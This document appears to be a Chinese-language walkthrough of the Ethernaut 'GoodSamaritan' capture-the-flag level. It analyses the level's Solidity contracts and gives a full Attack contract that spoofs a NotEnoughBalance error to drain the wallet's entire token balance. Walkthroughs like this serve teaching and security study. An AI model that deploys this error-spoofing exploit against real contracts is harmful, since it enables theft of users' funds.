GoodSamaritan
Reference
目标
掏空奖池
分析
Wallet
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
wallet函数分析
donate10()
函数存在两个分支:- 钱包余额小于10的话,返回
revert NotEnoughBalance()
报错 - 调用
Coin-transfer()
函数,转账10Token
到特定账户。
- 钱包余额小于10的话,返回
transferRemainder()
函数,调用Coin
合约,将wallet
全部资产转到特定地址
Coin
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if (dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
coin函数分析
Coin-transfer()
函数首先查询调用者的余额,和转账金额进行匹配:- 匹配成功的话:
- 更新
from/to
的地址的余额 - 如果
to
地址是合约地址的话,调用to-的notify()
函数
- 更新
- 匹配失败的话,返回
revert InsufficientBalance()
错误
- 匹配成功的话:
GoodSamaritan
function requestDonation() external returns (bool enoughBalance) {
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (
keccak256(abi.encodeWithSignature("NotEnoughBalance()")) ==
keccak256(err)
) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
函数分析
requestDonation
函数捕获wallet-donate10
的异常:- 无异常的话,返回
true
- 如果异常类型是
NotEnoughBalance()
的错误:- 默认余额不足,调用
Wallet-transferRemainder()
函数转账全部资产
- 默认余额不足,调用
- 不捕获其余异常
- 无异常的话,返回
攻击合约分析
function notify(uint256 amount) external {
// while (coin.balances(address(wallet)) > 999690) {
// goodSamaritan.requestDonation();
// }
if (amount <= 10) {
revert NotEnoughBalance();
}
}
to
合约调用GoodSamaritan-requestDonation()
函数,并捕获异常:- 首先调用
Wallet-donate10()
函数,Wallet
钱包存在10**6Token
, 进入Wallet-donate10()
第二分支(Coin-transfer)
Wallet
钱包存在足额资产,在Coin-transfer()
中进入第一分支- 在
Coin-transfer()
第一分支中,首先更新from/to
地址余额,之后调用to-notify()
函数 to
合约中定义notify()
函数,在余额小于等于10的情况下返回revert NotEnoughBalance()
报错
- 首先调用
GoodSamaritan-requestDonation()
函数捕获到异常:NotEnoughBalance()
- 在
NotEnoughBalance
异常匹配中,调用Wallet-transferRemainder()
函数 Wallet-transferRemainder()
函数 底层调用Coin-transfer()
函数,转移全部的Token资产Coin-transfer()
函数进入转账环节,在调用to-notify()
函数时,余额不小于10,则不会返回revert
报错- 交易完成
- 在
Attack合约
contract Attack is INotifyable {
GoodSamaritan public goodSamaritan;
// Coin coin;
// Wallet wallet;
error NotEnoughBalance();
constructor(GoodSamaritan _goodSamaritan) // Coin _coin,
// Wallet _wallet
{
goodSamaritan = _goodSamaritan;
// coin = _coin;
// wallet = _wallet;
}
function notify(uint256 amount) external {
// while (coin.balances(address(wallet)) > 999690) {
// goodSamaritan.requestDonation();
// }
if (amount <= 10) {
revert NotEnoughBalance();
}
}
function attack() external {
goodSamaritan.requestDonation();
}
}